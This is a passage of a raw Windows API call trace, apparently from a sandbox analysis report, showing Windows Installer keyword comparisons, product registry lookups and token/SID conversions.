(lpString1="INTEGER", lpString2="3") returned 1 [0149.706] lstrcmpiW (lpString1="SHORT", lpString2="3") returned 1 [0149.706] lstrcmpiW (lpString1="LONG", lpString2="3") returned 1 [0149.706] lstrcmpiW (lpString1="OBJECT", lpString2="3") returned 1 [0149.706] lstrcmpiW (lpString1="TEMPORARY", lpString2="3") returned 1 [0149.706] lstrcmpiW (lpString1="HOLD", lpString2="3") returned 1 [0149.706] lstrcmpiW (lpString1="FREE", lpString2="3") returned 1 [0149.706] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="3") returned 1 [0149.706] lstrcmpiW (lpString1="", lpString2="3") returned -1 [0149.706] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0149.706] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0149.706] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0149.706] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0149.706] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0149.706] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0149.706] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0149.706] lstrcmpiW (lpString1="SELECT", lpString2="1") returned 1 [0149.706] lstrcmpiW (lpString1="FROM", lpString2="1") returned 1 [0149.706] lstrcmpiW (lpString1="AS", lpString2="1") returned 1 [0149.706] lstrcmpiW (lpString1="WHERE", lpString2="1") returned 1 [0149.706] lstrcmpiW (lpString1="NULL", lpString2="1") returned 1 [0149.706] lstrcmpiW (lpString1="OR", lpString2="1") returned 1 [0149.706] lstrcmpiW (lpString1="AND", lpString2="1") returned 1 [0149.706] lstrcmpiW (lpString1="NOT", lpString2="1") returned 1 [0149.706] lstrcmpiW (lpString1="ORDER", lpString2="1") returned 1 [0149.707] GlobalLock (hMem=0xf40208) returned 0x21dff30 [0149.707] GlobalLock (hMem=0xf40218) returned 0x37b0a40 [0149.707] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.708] GetCurrentThreadId () returned 0xf50 [0149.708] GetCurrentThreadId () returned 0xf50 [0149.708] SetEvent (hEvent=0x170) returned 1 [0149.708] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.710] memcpy (in: _Dst=0x37b0650, _Src=0x10cda18, _Size=0x2 | out: _Dst=0x37b0650) returned 0x37b0650 [0149.710] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.711] memcpy (in: _Dst=0x37b068e, _Src=0x10cdd38, _Size=0x2 | out: _Dst=0x37b068e) returned 0x37b068e [0149.711] GlobalUnlock (hMem=0xf40218) returned 0 [0149.711] GlobalUnlock (hMem=0xf40208) returned 0 [0149.711] GlobalUnlock (hMem=0xf40228) returned 0 [0149.712] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce288 | out: phkResult=0x10ce288*=0x0) returned 0x2 [0149.712] GetCurrentThreadId () returned 0xf50 [0149.712] GetCurrentThreadId () returned 0xf50 [0149.712] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.712] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cdbc0, TokenInformationLength=0x58, ReturnLength=0x10cdbb0 | out: TokenInformation=0x10cdbc0, ReturnLength=0x10cdbb0) returned 1 [0149.712] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cdca0, pSourceSid=0x10cdbd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cdca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0149.712] ConvertSidToStringSidW (in: Sid=0x10cdca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cdc80 | out: StringSid=0x10cdc80*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0149.712] LocalFree (hMem=0x3c5cd0) returned 0x0 [0149.712] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.712] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0149.712] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce288 | out: phkResult=0x10ce288*=0x0) returned 0x2 [0149.713] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.713] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0149.713] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce288 | out: phkResult=0x10ce288*=0x0) returned 0x2 [0149.713] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0149.713] _vsnwprintf (in: _Buffer=0x10cda80, _BufferCount=0x103, _Format="%s\\%s\\%s", _ArgList=0x10cda48 | out: _Buffer="Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties") returned 59 [0149.713] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.713] GetCurrentThreadId () returned 0xf50 [0149.713] GetCurrentThreadId () returned 0xf50 [0149.713] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.713] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cc930, TokenInformationLength=0x58, ReturnLength=0x10cc920 | out: TokenInformation=0x10cc930, ReturnLength=0x10cc920) returned 1 [0149.713] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cca10, pSourceSid=0x10cc940*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cca10*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0149.714] ConvertSidToStringSidW (in: Sid=0x10cca10*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cc9f0 | out: StringSid=0x10cc9f0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0149.714] LocalFree (hMem=0x3c5fe0) returned 0x0 [0149.714] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.714] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0149.714] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cce30 | out: phkResult=0x10cce30*=0x0) returned 0x2 [0149.714] GetCurrentThreadId () returned 0xf50 [0149.714] GetCurrentThreadId () returned 0xf50 [0149.714] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.715] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cc930, TokenInformationLength=0x58, ReturnLength=0x10cc920 | out: TokenInformation=0x10cc930, ReturnLength=0x10cc920) returned 1 [0149.715] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cca10, pSourceSid=0x10cc940*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cca10*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0149.715] ConvertSidToStringSidW (in: Sid=0x10cca10*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cc9f0 | out: StringSid=0x10cc9f0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0149.715] LocalFree (hMem=0x3c5cd0) returned 0x0 [0149.715] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.715] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0149.715] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cce30 | out: phkResult=0x10cce30*=0x0) returned 0x2 [0149.715] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.715] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0149.715] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cce30 | out: phkResult=0x10cce30*=0x0) returned 0x2 [0149.715] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.715] GetCurrentThreadId () returned 0xf50 [0149.715] GetCurrentThreadId () returned 0xf50 [0149.715] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.715] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd720, TokenInformationLength=0x58, ReturnLength=0x10cd710 | out: TokenInformation=0x10cd720, ReturnLength=0x10cd710) returned 1 [0149.715] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cd800, pSourceSid=0x10cd730*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cd800*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0149.715] ConvertSidToStringSidW (in: Sid=0x10cd800*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cd7e0 | out: StringSid=0x10cd7e0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0149.715] LocalFree (hMem=0x3c5fe0) returned 0x0 [0149.715] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.715] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0149.716] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cdd60 | out: phkResult=0x10cdd60*=0x0) returned 0x2 [0149.716] GetCurrentThreadId () returned 0xf50 [0149.716] GetCurrentThreadId () returned 0xf50 [0149.716] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.716] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd720, TokenInformationLength=0x58, ReturnLength=0x10cd710 | out: TokenInformation=0x10cd720, ReturnLength=0x10cd710) returned 1 [0149.716] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cd800, pSourceSid=0x10cd730*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cd800*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0149.716] ConvertSidToStringSidW (in: Sid=0x10cd800*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cd7e0 | out: StringSid=0x10cd7e0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0149.716] LocalFree (hMem=0x3c5cd0) returned 0x0 [0149.716] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.716] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0149.716] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cdd60 | out: phkResult=0x10cdd60*=0x0) returned 0x2 [0149.716] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.716] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0149.716] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cdd60 | out: phkResult=0x10cdd60*=0x0) returned 0x2 [0149.716] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0149.716] _vsnwprintf (in: _Buffer=0x10cdf30, _BufferCount=0x103, _Format="%s\\%s\\%s", _ArgList=0x10cdf08 | out: _Buffer="Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties") returned 59 [0149.716] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cd788 | out: phkResult=0x10cd788*=0x348) returned 0x0 [0149.717] RegEnumKeyExW (in: hKey=0x348, dwIndex=0x0, lpName=0x10cd7d0, lpcchName=0x10cd780, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="S-1-5-18", lpcchName=0x10cd780, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.717] RegCloseKey (hKey=0x348) returned 0x0 [0149.717] _vsnwprintf (in: _Buffer=0x10ccf30, _BufferCount=0x13d, _Format="%s\\%s", _ArgList=0x10cced8 | out: _Buffer="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18") returned 69 [0149.717] _vsnwprintf (in: _Buffer=0x10cd1c0, _BufferCount=0x3ff, _Format="%s\\%s", _ArgList=0x10cced8 | out: _Buffer="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties") returned 129 [0149.717] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce288 | out: phkResult=0x10ce288*=0x0) returned 0x2 [0149.717] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0149.717] _vsnwprintf (in: _Buffer=0x10cdf30, _BufferCount=0x103, _Format="%s\\%s\\%s", _ArgList=0x10cdf08 | out: _Buffer="Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties") returned 59 [0149.717] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cd788 | out: phkResult=0x10cd788*=0x348) returned 0x0 [0149.717] RegEnumKeyExW (in: hKey=0x348, dwIndex=0x1, lpName=0x10cd7d0, lpcchName=0x10cd780, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="S-1-5-18", lpcchName=0x10cd780, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0149.717] RegCloseKey (hKey=0x348) returned 0x0 [0149.717] GlobalLock (hMem=0xf40228) returned 0x3cc0f0 [0149.717] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0149.718] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.718] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.718] lstrlenW (lpString="Feature") returned 7 [0149.718] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.718] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0149.718] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0149.718] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.718] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.718] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0149.718] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0149.718] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.718] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.718] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.718] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0149.718] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0149.718] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0149.718] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0149.718] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0149.718] lstrcmpiW (lpString1="SELECT", lpString2="OR") returned 1 [0149.718] lstrcmpiW (lpString1="FROM", lpString2="OR") returned -1 [0149.718] lstrcmpiW (lpString1="AS", lpString2="OR") returned -1 [0149.718] lstrcmpiW (lpString1="WHERE", lpString2="OR") returned 1 [0149.718] lstrcmpiW (lpString1="NULL", lpString2="OR") returned -1 [0149.719] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0149.719] lstrcmpiW (lpString1="SELECT", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="FROM", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="AS", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="WHERE", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="NULL", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="OR", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="AND", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="NOT", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="ORDER", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="BY", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="DISTINCT", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="UPDATE", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="DELETE", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="INSERT", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="INTO", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="SET", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="VALUES", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="IS", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="CREATE", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="DROP", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="ALTER", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="TABLE", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="ADD", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="PRIMARY", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="KEY", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="CHAR", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="CHARACTER", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="VARCHAR", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="LONGCHAR", lpString2="0") returned 1 [0149.719] lstrcmpiW (lpString1="INT", lpString2="0") returned 1 [0149.720] lstrcmpiW (lpString1="INTEGER", lpString2="0") returned 1 [0149.720] lstrcmpiW (lpString1="SHORT", lpString2="0") returned 1 [0149.720] lstrcmpiW (lpString1="LONG", lpString2="0") returned 1 [0149.720] lstrcmpiW (lpString1="OBJECT", lpString2="0") returned 1 [0149.720] lstrcmpiW (lpString1="TEMPORARY", lpString2="0") returned 1 [0149.720] lstrcmpiW (lpString1="HOLD", lpString2="0") returned 1 [0149.720] lstrcmpiW (lpString1="FREE", lpString2="0") returned 1 [0149.720] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="0") returned 1 [0149.720] lstrcmpiW (lpString1="", lpString2="0") returned -1 [0149.720] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0149.720] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0149.720] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0149.720] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0149.720] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0149.720] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0149.720] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0149.720] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0149.733] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0149.733] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0149.733] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0149.733] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0149.733] lstrcmpiW (lpString1="SELECT", lpString2="OR") returned 1 [0149.733] lstrcmpiW (lpString1="FROM", lpString2="OR") returned -1 [0149.733] lstrcmpiW (lpString1="AS", lpString2="OR") returned -1 [0149.733] lstrcmpiW (lpString1="WHERE", lpString2="OR") returned 1 [0149.733] lstrcmpiW (lpString1="NULL", lpString2="OR") returned -1 [0149.733] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0149.733] lstrcmpiW (lpString1="SELECT", lpString2="0") returned 1 [0149.733] lstrcmpiW (lpString1="FROM", lpString2="0") returned 1 [0149.733] lstrcmpiW (lpString1="AS", lpString2="0") returned 1 [0149.733] lstrcmpiW (lpString1="WHERE", lpString2="0") returned 1 [0149.733] lstrcmpiW (lpString1="NULL", lpString2="0") returned 1 [0149.733] lstrcmpiW (lpString1="OR", lpString2="0") returned 1 [0149.733] lstrcmpiW (lpString1="AND", lpString2="0") returned 1 [0149.733] lstrcmpiW (lpString1="NOT", lpString2="0") returned 1 [0149.733] lstrcmpiW (lpString1="ORDER", lpString2="0") returned 1 [0149.733] lstrcmpiW (lpString1="BY", lpString2="0") returned 1 [0149.733] lstrcmpiW (lpString1="DISTINCT", lpString2="0") returned 1 [0149.733] lstrcmpiW (lpString1="UPDATE", lpString2="0") returned 1 [0149.733] lstrcmpiW (lpString1="DELETE", lpString2="0") returned 1 [0149.733] lstrcmpiW (lpString1="INSERT", lpString2="0") returned 1 [0149.733] lstrcmpiW (lpString1="INTO", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="SET", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="VALUES", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="IS", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="CREATE", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="DROP", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="ALTER", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="TABLE", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="ADD", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="PRIMARY", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="KEY", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="CHAR", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="CHARACTER", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="VARCHAR", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="LONGCHAR", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="INT", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="INTEGER", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="SHORT", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="LONG", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="OBJECT", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="TEMPORARY", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="HOLD", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="FREE", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="0") returned 1 [0149.734] lstrcmpiW (lpString1="", lpString2="0") returned -1 [0149.734] lstrcmpiW (lpString1="SELECT", lpString2="OR") returned 1 [0149.734] lstrcmpiW (lpString1="FROM", lpString2="OR") returned -1 [0149.734] lstrcmpiW (lpString1="AS", lpString2="OR") returned -1 [0149.734] lstrcmpiW (lpString1="WHERE", lpString2="OR") returned 1 [0149.734] lstrcmpiW (lpString1="NULL", lpString2="OR") returned -1 [0149.734] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0149.734] lstrcmpiW (lpString1="SELECT", lpString2="3") returned 1 [0149.734] lstrcmpiW (lpString1="FROM", lpString2="3") returned 1 [0149.734] lstrcmpiW (lpString1="AS", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="WHERE", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="NULL", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="OR", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="AND", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="NOT", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="ORDER", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="BY", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="DISTINCT", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="UPDATE", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="DELETE", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="INSERT", lpString2="3") returned 1 [0149.735] lstrcmpiW 